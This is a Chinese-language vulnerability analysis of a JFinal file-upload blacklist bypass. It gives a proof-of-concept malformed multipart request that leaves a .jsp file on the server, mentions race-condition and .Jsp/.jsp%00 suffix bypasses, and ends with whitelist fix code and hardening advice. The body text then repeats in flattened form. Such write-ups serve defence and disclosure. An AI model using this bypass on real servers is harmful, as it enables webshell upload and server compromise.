看我如何突破JFinal黑名单机制实现任意文件上传
字数 1045 2025-08-18 11:38:52

JFinal框架黑名单绕过实现任意文件上传漏洞分析与防御

漏洞概述

JFinal是一款优秀的国产Java Web框架,在处理文件上传功能时存在黑名单机制被绕过的风险,可能导致攻击者上传恶意文件(如JSP木马)到服务器。该漏洞由平安银行应用安全团队发现并报告,厂商已修复。

漏洞原理

JFinal文件上传机制

JFinal框架处理文件上传的核心流程:

  1. 文件接收阶段:使用com.oreilly.servlet.MultipartRequest类处理上传请求
  2. 黑名单检查阶段:通过isSafeFile(UploadFile uploadFile)方法进行后缀名检查

关键代码分析

黑名单检查函数

isSafeFile(UploadFile uploadFile) {
    String fileName = uploadFile.getFileName().trim().toLowerCase();
    if (!fileName.endsWith(".jsp") && !fileName.endsWith(".jspx")) {
        return true;
    }
    uploadFile.getFile().delete(); // 删除不合规文件
    return false;
}

文件上传处理流程

// 1. 接收上传文件
this.multipartRequest = new com.oreilly.servlet.MultipartRequest(
    request, uploadPath, maxPostSize, encoding, fileRenamePolicy);

// 2. 遍历上传的文件
Enumeration files = this.multipartRequest.getFileNames();
while(files.hasMoreElements()) {
    String name = (String)files.nextElement();
    String filesystemName = this.multipartRequest.getFilesystemName(name);
    if(filesystemName != null) {
        // 3. 对每个文件进行黑名单检查
        UploadFile uploadFile = new UploadFile(name, uploadPath, filesystemName, 
            this.multipartRequest.getOriginalFileName(name), 
            this.multipartRequest.getContentType(name));
        if(this.isSafeFile(uploadFile)) {
            this.uploadFiles.add(uploadFile);
        }
    }
}

漏洞根本原因

JFinal框架的文件上传机制存在设计缺陷:

  1. 先上传后检查:所有文件都会先被上传到服务器,然后再进行黑名单检查
  2. 异常处理不当:如果在黑名单检查前触发异常,程序会终止执行,但文件已上传成功

漏洞复现

攻击方法

  1. 构造畸形请求:在正常文件参数后添加不存在的参数
  2. 边界不完整:在请求末尾不添加完整的分隔符(boundary)

POC示例

POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary12345

------WebKitFormBoundary12345
Content-Disposition: form-data; name="file"; filename="test.jsp"
Content-Type: text/plain

<% out.println("Hello JSP"); %>
------WebKitFormBoundary12345
Content-Disposition: form-data; name="nonexistparam"  # 不存在的参数

攻击效果

  1. 第一个文件参数test.jsp会被正常上传
  2. 处理第二个参数nonexistparam时会抛出异常
  3. 程序终止执行,跳过黑名单检查
  4. test.jsp文件保留在服务器上

其他可能的攻击方式

  1. 资源竞争攻击

    • 上传一个会写入木马的JSP文件
    • 同时疯狂访问该上传路径
    • 可能在文件被删除前访问到JSP并执行成功
  2. 大小写/特殊字符绕过

    • 使用.Jsp.jsp%00等变形后缀
    • 取决于具体实现是否规范化处理文件名

修复建议

开发层面

  1. 白名单机制:使用白名单而非黑名单,只允许特定安全后缀
  2. 先检查后上传:在文件保存到磁盘前完成所有安全检查
  3. 文件名规范化:统一处理大小写、去除特殊字符等
  4. 内容检查:检查文件内容是否符合预期类型

代码示例(修复后)

// 1. 定义允许的文件类型白名单
private static final Set<String> ALLOWED_EXTENSIONS = 
    Set.of("jpg", "png", "gif", "pdf", "txt");

public void upload() {
    UploadFile file = getFile("file");
    
    // 2. 检查文件扩展名
    String fileName = file.getFileName();
    String ext = getFileExtension(fileName).toLowerCase();
    
    if (!ALLOWED_EXTENSIONS.contains(ext)) {
        file.getFile().delete();
        renderError("不允许的文件类型");
        return;
    }
    
    // 3. 其他安全检查...
    
    // 4. 处理文件
    // ...
}

private String getFileExtension(String filename) {
    return filename.substring(filename.lastIndexOf(".") + 1);
}

运维层面

  1. 上传目录隔离:将上传目录设置为不可执行
  2. 权限控制:上传目录设置适当的读写权限
  3. 文件重命名:使用随机生成的文件名,避免直接使用用户提供的文件名
  4. 定期扫描:对上传目录进行定期安全扫描

总结

该漏洞揭示了文件上传功能实现中的常见问题:

  1. 安全检查和文件保存的顺序至关重要
  2. 异常处理流程可能引入安全风险
  3. 黑名单机制本质上是不安全的

开发者应遵循"先验证,后处理"的原则,采用白名单机制,并对上传文件进行多重安全检查,才能有效防范此类漏洞。

JFinal框架黑名单绕过实现任意文件上传漏洞分析与防御 漏洞概述 JFinal是一款优秀的国产Java Web框架,在处理文件上传功能时存在黑名单机制被绕过的风险,可能导致攻击者上传恶意文件(如JSP木马)到服务器。该漏洞由平安银行应用安全团队发现并报告,厂商已修复。 漏洞原理 JFinal文件上传机制 JFinal框架处理文件上传的核心流程: 文件接收阶段 :使用 com.oreilly.servlet.MultipartRequest 类处理上传请求 黑名单检查阶段 :通过 isSafeFile(UploadFile uploadFile) 方法进行后缀名检查 关键代码分析 黑名单检查函数 文件上传处理流程 漏洞根本原因 JFinal框架的文件上传机制存在设计缺陷: 先上传后检查 :所有文件都会先被上传到服务器,然后再进行黑名单检查 异常处理不当 :如果在黑名单检查前触发异常,程序会终止执行,但文件已上传成功 漏洞复现 攻击方法 构造畸形请求 :在正常文件参数后添加不存在的参数 边界不完整 :在请求末尾不添加完整的分隔符(boundary) POC示例 攻击效果 第一个文件参数 test.jsp 会被正常上传 处理第二个参数 nonexistparam 时会抛出异常 程序终止执行,跳过黑名单检查 test.jsp 文件保留在服务器上 其他可能的攻击方式 资源竞争攻击 : 上传一个会写入木马的JSP文件 同时疯狂访问该上传路径 可能在文件被删除前访问到JSP并执行成功 大小写/特殊字符绕过 : 使用 .Jsp 、 .jsp%00 等变形后缀 取决于具体实现是否规范化处理文件名 修复建议 开发层面 白名单机制 :使用白名单而非黑名单,只允许特定安全后缀 先检查后上传 :在文件保存到磁盘前完成所有安全检查 文件名规范化 :统一处理大小写、去除特殊字符等 内容检查 :检查文件内容是否符合预期类型 代码示例(修复后) 运维层面 上传目录隔离 :将上传目录设置为不可执行 权限控制 :上传目录设置适当的读写权限 文件重命名 :使用随机生成的文件名,避免直接使用用户提供的文件名 定期扫描 :对上传目录进行定期安全扫描 总结 该漏洞揭示了文件上传功能实现中的常见问题: 安全检查和文件保存的顺序至关重要 异常处理流程可能引入安全风险 黑名单机制本质上是不安全的 开发者应遵循"先验证,后处理"的原则,采用白名单机制,并对上传文件进行多重安全检查,才能有效防范此类漏洞。